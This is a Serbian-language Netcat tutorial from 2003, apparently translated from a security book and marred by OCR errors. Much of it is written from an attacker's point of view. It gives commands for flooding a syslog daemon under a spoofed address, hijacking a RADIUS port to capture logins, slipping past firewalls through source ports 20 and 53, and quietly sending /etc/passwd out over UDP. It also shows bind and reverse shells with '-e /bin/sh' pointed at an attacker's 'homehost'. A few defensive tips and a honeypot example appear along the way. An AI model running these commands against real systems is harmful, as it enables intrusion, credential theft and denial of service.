[root@originix nc]#
<0> znaci najvisi syslog nivo, kern.emerg, naznacavajuci da bi ova poruka
trebala biti napisana negde na sistemu. (pogledajte Vas /etc/syslog.conf fajlda
biste znali tacno gde). A ako proverite kernel log, trebali biste videti nesto
otprilike ovako:
Feb 12 06:00:22 originix kernel: Symbols match kernel version 2.2.12. Feb 12
06:00:22 originix kernel: Loaded 18 symbols from 5 modules. Feb 12 06:00:22
originix I can speak syslog
Voila. Ovo je
dobar nacin da utvrdite da li udaljeni UDP serveri rade. I ako neki radi sa
neobezbedenim syslog-om, ostavlja sebe otvorenim za vrlo prost napad koji moze
napuniti prostor na disku, pojesti propusni opseg mreze, prebukirati CPU vreme
itd.
[root@originix
nc]# yes "<20>blahblahblah" 1 nc -s 10.0.0.1 - u targethost
514
Yes komanda izbacuje string (obezbeden u komandnoj liniji) ponovo i ponovo sve
dok se proces ne unisti. Ovo ce poplaviti syslog demon na ciljnom hostu sa "blahblahblah"
porukama. Napadac cak moze koristiti i laznu IP adresu (-s 10.0.0.1) jer su
odgovori syslog demona
beznacajni.
Smestite prijatelju:
IP varanje
IP varanje je obavijeno velom misterije. Cesto cete cuti: "Kako znamo da
je to stvarno njihova adresa?" Sta ukoliko varaju?" Zapravo, moze
biti veoma tesko varati IP adresu. Mozda bi trebali da refraziramo: Varanje
IP adrese je lako. Mrezne barijere koje rade laziranje ili prevod mrezne adrese
(NAT) varaju IP adresu svakodnevno. Ovi uredaji mogu uzeti paket od interne
IP adrese, promene izvornu IP adresu u paketu svojom IP adresom, posalju ga
na mrezu i poniste modifikaciju kada prime podatke nazad sa destinacije. Pa,
promena sadrzaja izvorne IP adrese u IP paketu je lako. Ono sto je tesko je
primanje bilo kakvih podataka nazad ka Vasoj laznoj IP adresi.
Netcat nudi - s opciju, koja Vam omogucava da specificirate IP adresu koju god
zelite. Neko moze zapoceti skeniranje porta protiv nekoga i iskoristiti - s
opciju da bi naveo metu da pomisli da je skenira Microsoft ili Federal Bureau
of Investigation (FBI). Problem se javlja, inace, kada zelite da se odgovor
sa skeniranja portova sa skrivenom IP adresom vrate Vasoj realnoj IP adresi.
Zato sto je ciljni domen primio zahtev za konekciju od Microsoft-a, na primer,
pokusace da posalje zahvalnicu Microsoft-ovom IP-u. IP ce, naravno, bez ikakve
ideje o cemu ciljani host govori poslati reset. Kako vratiti informacije realnom
IP-u bez mogucnosti otkrivanja?
Osim da zapravo hakujemo masinu kojoj treba smestiti, jedina druga moguca opcija
je da koristimo rutiranje izvora. Rutiranje izvora omogucava mreznoj aplikaciji
da naznaci rutu kojom bi zelela da dode do destinacije.
Postoje dva tipa rutiranja izvora: striktno i labavo. Striktno rutiranje izvora
znaci da paket mora naznaciti svaki skok u ruti do destinacionog domena. Neki
ruteri i mrezni uredaji jos uvek dozvoljavaju striktno rutiranje izvora, ali
samo nekoliko bi jos uvek dozvolilo labavo rutiranje izvora. Labavo rutiranje
izvora govori ruteru i mreznim uredajima da ruteri mogu da urade vecinu rutiranja
do destinacionog domena, ali takode govori da paket mora proci kroz naznaceni
set rutera na svom putu do destinacije. Ovo je opasno, jer moze omoguciti hakeru
da posalje paket kroz masinu koju kontrolise (mozda masinu koja vrsi promenu
IP adrese dolazeceg paketa na adresu nekog drugog). Kada se odgovor vrati, ponovo
ce imati istu opciju labavog rutiranja izvora i vratice se nazad kroz nestasnu
masinu (koja onda moze vratiti "pravu" IP adresu). Ovom metodom, rutiranje
izvora moze omoguciti napadacu da izvrsi obmanu IP adrese i ipak dobije odgovor
nazad. Vecina rutera ignorise opcije rutiranja izvora, ah ne svi.
Netcatova-g opcija Vam omogucava da obezbedite do osam skokova koje paket mora
proci pre nego sto stigne na destinaciju. Na primer: nc -g 10.10.4.5 -g 10.10.5.8
-g 10.10.7.4 -g 10.10. 9.9 10.10.9.50 23 ce kontaktirati telnet port na 10.10.9.50
ali ukoliko je opcija rutiranja izvora omogucena na medu ruterima, saobracaj
ce biti primoran da prode preko ove cetiri lokacije pre nego sto stigne na destinaciju.
Da smo pokusali: nc -g 10.10.4.5 -g 10.10.5.8 -g 10.10.7.4 -g 10.10.9.9 -G 12
10.10.9.50 23, specificiramo pokazivac skoka koriscenjem -G opcije u ovoj komandi.
-G ce postaviti pokazivac skoka na n-ti bajt (u ovom slucaju dvanesti), i zato
sto su IP adrese 4 bajta svaka, pokazivac skoka ce poceti na 10.10.9.50, saobracaj
ce morati da ide jedino preko poslednje dve masine (jer smo, prema pokazivacu
skoka, vec bili na prve dve). Na povratnom putu, medutim, paket ce proci kroz
sve ove cetiri masine.
Ukoliko Vasi ruteri i mrezni uredaji nisu podeseni da ignorisu opciju rutiranja
izvornog IP-a, na srecu, sistem za detekciju upada pazi na njih . Svako ko pokrene
analizer saobracaja kao sto je Ethereal, mogao bi sa lakocom da uoci varanje
rutiranjem izvora, jer ce deo opcija IP zaglavlja biti veci od normalnog i IP
adresa u rut listi ce biti jasno vidljiva koriscenjem ASCII dekodera. Ukoliko
je to vazno sistem administratorima, uci ce u trag vlasniku svake IP adrese
u listi u pokusaju da nadu krivca. Pa, da sumiramo, smestanje nekom drugom,
za lose ponasanje na mrezi je lako. Stvarno pretvaranje da ste neko drugi je,
ipak, nesto teze. U oba slucaja Netcat Vam moze pomoci.
Otimanje servisa
Ulogujte se na Vas omiljeni sistem i pokrenite komandu netstat -a -n. Potrazite
pri vrhu izlaza stavke koje osluskuju. Trebali biste videti nesto ovako:
Proto Recv-Q Send-Q Local Address Foreign Address (state)
tcp4 0 0. *.6000 *.* LISTEN
tcp4 0 0 *.80 *.* LISTEN
tcp4 0 0 *.22 *.* LISTEN
tcp4 0 0 *.23 *.* LISTEN
tcp4 0 0 *.21 *.* LISTEN
tcp4 0 0 *.512 *.* LISTEN
tcp4 0 0 *.513 *.* LISTEN
tcp4 0 0 *.514 *.* LISTEN
Poslednja tri r-servisa (rlogin, rexec, itd.), sto bi bilo odlicno otkrice za
bilo kog hakera jer su veoma nebezbedni. Takode mozete videti da telnet, FTP,
X Windows, Web i SSH jos uvek rade. Ali, sta jos vredi primetiti? Primecujete
kako svaka stavka navodi * za lokalnu adresu? Ovo znaci da se svi ovi servisi
nisu vezali za specificnu IP adresu. Pa sta? Kako ispada, mnoge IP klijent implementacije
de prvo pokusati da kontaktiraju servis osluskujuci specificne IP adrese pre
kontaktiranja servisa osluskivanjem na svim IP adresama. Probajte ovu komandu:
[root@originix
nc]# ./nc -1 -v -s 192.168.1.102 -p 6000
Sada jos jednom pokrenite Netstat. Trebali biste videti ovo:
Proto Recv-Q Send-Q Local Address Foreign Address (state)
tcp4 0 0 192.168.1.102.6000 *.* LISTEN
tcp4 0 0 *.6000 *.* LISTEN
Pogledajte Vi to! Sada slusate pre X servera. Da ste imali glavni pristup na
sistemu, mogli biste da osluskujete portove nize od 1024 i otimate stvari kao
sto je telnet, Web, i druge izvore. Ali puno interesantnih autentifikacija od
trecih lica, deljenje fajlova i druge aplikacije koriste vise portove. Regularni
korisnik na Vasem sistemu (nazvacemo ga "joeuser") moze, na primer
oteti RADIUS server (koji uglavnom slusa na portu 1645 ili 1812 UDP) i pokrenuti
Netcat komandu sa -o opcijom da bi dobio heksadecimalni oblik svih pokusaja
logova. On je uhvatio samo odredenu kolicinu korisnickih imena i sifara bez
cak i potrebe za root pristupom na sistemu. Naravno, nece potrajati dugo dok
se korisnici ne pozale da servis ne odgovara i aktivnost joeusera ce biti otkrivena.
Ali ako bar malo zna nesto o servisu koji otima, mogao bi da prevari servis
(kao laziranjem odgovora) ili cak prode kroz servis nekog drugog.
[root@originix
nc]# ./nc -1 -u -s 192.168.1.100 -p 1812 -e nc to_radius
Nc to_radius je skript komandnog okruienja i izgleda ovako:
#! /bin/sh
DATE='date "+%Y-%m-%d %H.%M.%S
/usr/bin/nc -o hexlog-$DATE slave-radius 1812
slave-radius je
ime hosta sekundarnog RADIUS servera na mrezi. Postavljajuci osluskujuci
Netcat u petlju tako da se ponovo pokrene na svaku konekciju, ova tehnika bi
teoretski trebala da omoguci joeuseru da uhvati sve tipove login informacija
(svaka sesija u pojedinacnom fajlu)
istovremeno onemogucavajuci bilo koga da u tom trenutku dode do saznanja da
nesto nije kako treba. Jednostavno ce snimiti informacije dok ih usmerava ka
bekup RADIUS serveru. Ovo bi bilo
dosta tesko uciniti da radi konzistentno, ali je u opsegu moguceg.
Proksiji i releji
Mozete koristiti istu tehniku primenjenu u prethodnom delu da biste kreirali
Netcat proksije i releje. Netcat koji osluskuje moze biti upotrebljen da zapocne
drugu Netcat konekciju ka razlicitom hostu ili portu, kreirajuci relej.
Upotreba ove osobine zahteva nesto poznavanja skripta. Iz razloga sto Netcat-ova
-e opcija prihvata samo jednu komandu (bez argumnata komandne linije), morate
da spakujete bilo koju ili sve komande koje zelite da pokrenete u skript. Mozete
se i poigrati s ovim, kreirajuci relej koji premoscuje nekoliko razlicitih domena.
Tehnika moze biti iskoriscena za kreiranje kompleksnog "tunela", omogucavajuci
hakeru da oteza sistem administratoru da mu ude u trag.
Ova mogucnost moze biti koriscena i u dobre svrhe, naravno. Na primer, relej
osobina moze dozvoliti Netcat-u da vrsi funkciju proksija web stranama. Postavite
ga da osluskuje na portu 80 na drugom sistemu omogucite mu da stvara sve Vase
Web konekcije (uz pomoc skripta) i prosledite ih.
Izbegavanje port
filtera
Kada biste bili haker, Netcat bi mogao biti iskoriscen da pomogne oko zaobilaienja
mreznih barijera. Lazno prikazivanje nedozvoljenog saobracaja kao dozvoljeni
je jedini nacin da zaobidete mrezne barijere i port filtere. Neke mrezne barijere
omogucavaju dolazeci saobracaj od izvornog porta 20 sa visokim destinacionim
portom na internoj mrezi da bi omogucîo FTP. Pokretanje napada koristeci:
nc -p 20 targethost 6000 moze Vam omoguciti pristup ciljnom domenu X servera
ukoliko je mrezna barijera lose konfigurisana. Mogao bi pretpostaviti da je
Vasa konekcija dolazeci paket FTP podataka i propustiti Vas. Najverovatnije
cete biti u mogucnosti da pristupite samo odredenom podskupu portova. Vecïna
administratora mreznih barijera eksplicitno eliminise opseg portova 6000 sa
liste dostupnih u ovom scenariju, ali cete jos uvek moci da nadete druge servise
iznad 1024 sa kojima mozete da komunicirate dolazeci sa izvornog porta 20.
DNS poseduje slicne teme. Skoro sve mrezne barijere moraju dozvoliti odlazeci
DNS ali ne nuzno i dolazeci DNS. Ako ste iza mrezne barijere koja dozvoljava
oba, mozete iskoristiti ovu cinjenicu da propustite nedozvoljeni saobracaj kroz
mreznu barijeru dajuci joj izvorni port 53. Iza barijere, pokretanje: nc - p
53 targethost 9898 moze Vam omoguciti da zobidete filter koji bi normalno blokirao
odlaze i America Online (AOL) Instant Messenger saobracaj. Moracete biti lukavi
sa ovim, ali mozete videti kako Netcat moze iskoristiti labavo napisana pravila
mreznih barijera. Sistem administratori ce zeleti da izvrse provere za odredenim
rupama kao sto je ova. Za pocetnike, mozete jednostavno zabraniti bilo kakav
DNS TCP saobracaj, sto ce iskljuciti vecinu DNS port filter problema. Primoravajuci
korisnike da koriste pasivni FTP, koji ne zahteva od servera da inicira konekciju
nazad do klijenta na TCP portu 20, omogucava Vam da eliminisete ovu rupu.
Izgradnja kanala
podataka: napravite svoj sopstveni FTP
Netcat Vam omogucava da izgradite kanale podataka. Koje benificije ovo donosi?
TRANSFER FAJLOVA KROZ PORT FILTERE Postavljajuci ulazne i izlazne fajlove na
svaki kraj kanala podataka, mozete efektivno poslati ili kopirati fajl sa jedne
mrezne lokacije na drugu bez koriscenja bilo kog tipa " zvanicnog"
fajl transfer protokola. Ako posedujete pristup komandnom okruzenju sistema
ali niste u mogucnosti da inicirate bilo kakav fajl transfer jet prot filteri
blokiraju FTP, NFS (Network File System) i Sambu, imate alternativu. Na strani
gde se nalazi originalni fajl, pokrenite ovo:
nc -1 -u -p 55555 < fajl_koji_zelimo
i sa klijenta pokusajte:
nc -u - targethost 55555 > kopija fajla
postavljanje konekcije ce odmah preneti fajl. Izadite sa EOF-om (Ctrl-C) i Vas
fajl bi trebao biti netaknut.
RIKRIVENI FAJL TRANSFER Hakeri mogu koristiti Netcat za transfer fajlova sa
sistema bez kriranja bilo kakvog uocljivog traga. Gde FTP i Secure Copy (scp)
mogu ostaviti logove, Netcat ne cini.
nc -1 -u -p 55555 < /etc/passwd
Kada se haker poveze na taj UDP port, dohvata /etc/passwd fajl bez icijeg znanja
(osim ako je toliko nesrecan da je pokusao u trenutku kada je sistem administrator
pokrenuo ps (stanja procesa) ili netstat komandu).
DOHVATI IZLAZ APLIKACIJE Hajde da Vas ponovo stavimo u kozu hakera. Recimo da
ste napisali skript koji prenosi neki od vaznih sistemskih fajlova na standardni
izlaz (passwd, group, inetd.conf, hosts.allow itd.) i pokrece nekoliko sistemskih
komandi za skupljanje informacija (uname, ps, netstat). Nazovimo ovaj skript
"sysinfo." Na meti mozete uraditi jedno od sledeceg:
nc -1 -u -p 55555 -e sysinfo
ili
sysinfo 1 nc -1 -u -p 55555
Mozete dohvatiti izlaz komande i zapisati ga u fajl pod imenom sysinfo.txt koristeci:
nc -u target 55555 > sysinfo.txt
U cemu je razlika? Obe komande prihvataju izlaz sysinfo skripta i kanalisu ga
ka slusajucem Netcat-u kako bi on poslao podatke preko mreznog kanala onome
s kim je god povezan. -e opcija "predaje" I/O aplikacji koju izvrsava.
Kada je Sysinfo zavrsio sa svojim I/O (kod EOF-a), slusalac se zatvara, a to
cini i klijent na drugom kraju. Ukoliko je sysinfo kanalisan, izlaz od sysinfo-a
jos uvek putuje do klijenta, ali Netcat jos uvek rukuje 1/0-om. Klijent strana
nece primiti EOF i cekace da vidi da li slusalac ima jos nesto za slanje.
Isto se moze reci i za obrnuti primer. Sta ako ste na ciljnoj masini i zelite
da inicirate konekciju ka Netcat slusaoca na Vasem licnom domenu? Ako Netcat
osluskuje na domacem hostu posle pokretanja komande: nc -1 -p 55555 > sysinfo.txt,
opet imate dve opcije:
nc -u -e sysinfo homehost 55555
ili
sysinfo 1 nc -u homehost 55555
Razlika je opet,
ta sto koriscenje kanala zahteva da klijent ostane otvoren i posto sysinfo je
zavrsio sa slanjem izlaza. Koriscenje -e opcije ce zatvoriti Netcat klijent
odmah kada sysinfo zavrsi. Razlika izmedu ova dva moda postaje izuzetno ocigledna
kad zapravo zelite da pokrenete aplikaciju na udaljenom hostu i prosledite I/O
kroz Netcat kanal podataka (kao u "Pribavljanje udaljenog pristupa komandnom
okruzenju" sekciji).
DOHVATITE KONTROLU APLIKACIJE U "Pribavljanje udaljenog pristupa komandnom
okmzenju" opisali smo kako da pokrenete udaljeno komandno okruzenje na
Windows platformi. Isto moze biti uradeno na Unix masini:
nc -u -1 -p 55555 -e /bin/sh
Povezite se koristeci:
ne -u targethost 55555. Shell (/bin/sh) se pojavljuje i omogucava Vam da vrsite
interakcije s tim selom preko kanala. -e opcija daje I/O kontrolu kompletno
shell-u. Imajte na umu da bi ova komanda trebala biti deo beskonacne while petlje
u skriptu ako biste zeleli da ovaj bekdor ostane otvoren posto napustite komandno
okruzenje (shell). Posle izlaska iz shell-a, Netcat ce zatvoriti obe strane
fim je /bin/sh zavrsen. Netcat verzija za Windows snalazi se sa ovim koristeci
- L opciju.
Kao sto ste mogli i u prethodnom primeru, mozete poslati I/O kontrolu lokalne
aplikacije Netcat-u koji slusa (nc -u -1 -p 55555) kucajuci sledece:
nc -u -e /bin/sh
homehost 55555
I mozete uraditi ovo sa bilo kojom interaktivnom aplikacijom koja radi samo
na tekstualnom nivou bez bilo kakvih stilskih terminal opcija (na primer, vi
text editor nece raditi dobro).
Postavijanje zamke
Ovo moze biti zabavno obeshrabrenje za "hakere" koji bi to hteli da
budu. Pokretanjem Netcatat-a u prislusnom modu na dobro poznatom portu gde bi
haker mogao ocekivati da nade osetljivi servis, mozete navesti hakera da pomisli
da ste pokrenuli nesto sto, u stvari, niste. Ako to lepo podesite, mozete cak
biti i u mogucnosti da uhvatite hakera.
[root@originix
nc]# ./nc -1 -v -e fakemail.pl -p 25 » traplog.txt
Vas fakemail skript bi mogao odaslati neki izlaz kako bi rekao svetu da radi
"swiss-cheese" verzija alata za slanje poste i prakticno moli mladog
hakera da dode i provali u sistem. Do terminacije konekcije (EOF), Vas skript
bi trebao da ponovo pokrene istu Netcat komandu. Ali ukoliko neko pocne da bude
previse znatizeljan, skript bi mogao koristiti yes komandu da bi preplavio napadaca
sa bilo kakvim smecem koje izaberete. Cak iako volite da budete suptilniji,
mozete bar dobiti listu IP adresa koje se kace sa Vama u traplog.txt.
Testiranje mreine
opreme
Necemo potrositi puno vremena ovde. Mozete koristiti Netcat da postavite slusaoce
na jedan kraj mreze i pokusati da se povezete na njih sa drugog kraja. Mozete
testirati mnoge mreine uredaje (rutere, mrezne barijere itd.) na povezivost
tako sto cete videti koje vrste saobrazaja mozete provuci. I, posto Vam Netcat
omogucava da lazirate izvornu IP adresu, mozete cak proveriti i mrezne barijere
zasnovane na IP-u tako da ne morate provoditi vise vreme pitajuci se da li Vasa
mrezna barijera stvarno radi ono sto bi trebao.
Takode mozete korisiti -g opciju za pokusaj rutiranja izvora protiv Vase mreze.
Vecina mreznih uredaja trebala bi biti konfigurisana da ignorisu opcije rutiranja
izvora, jer njihova upotreba nikada nije opravdana.
Sami kreirajte Vas!
Netcat izvorni tarbol dolazi sa nekoliko shell skripta i C programa koji demonstriraju
cak i jos mogucih upotreba za Netcat. Sa nesto programerskog iskustva, mozete
izvuci i vecu kilometrazu iz Netcat-a. Pogledajte README fajl kao i neke od
primera u "data" i "scripts" poddirektorijumima. Mogu Vas
navesti da porazmislite i o nekim drugim stvarima koje mozete da uradite.
CRYPTCAT
Cryptcat je upravo ono sto i pise u nazivu: Netcat sa enkripcijom. Sada mozete
enkriptovati kanal podataka, proksi ili relej. Hakeri mogu drzati Netcat saobracaj
sakriven, tako da administratori njuskala moraju uraditi vise od prostog pregleda
mreze da bi saznali ono sta ste naumili.
Cryptcat koristi poboljsanu verziju Twofish enkripcije. Argumenti komandne linije
su isti. Ocigledno Cryptcat nije strahovito koristan za port skeniranje i komunikaciju
sa drugim servisima koji ne koriste istu enkripciju kao i sam Cryptcat. Ali
ako Vasa upoteba Netcat-a ukljucuje kopiju Netcat-a koja je pokrenuta negde
u prislusnom modu i odvojenu kopiju Netcat-a koja se povezuje na onu prvu, Cryptcat
Vam daje dodatne pogodnosti osiguravanja konekcije.
Mozete pruzeti Cryptcat sa http://farm9.com/.
pozdrav problematican
17.12.2003
|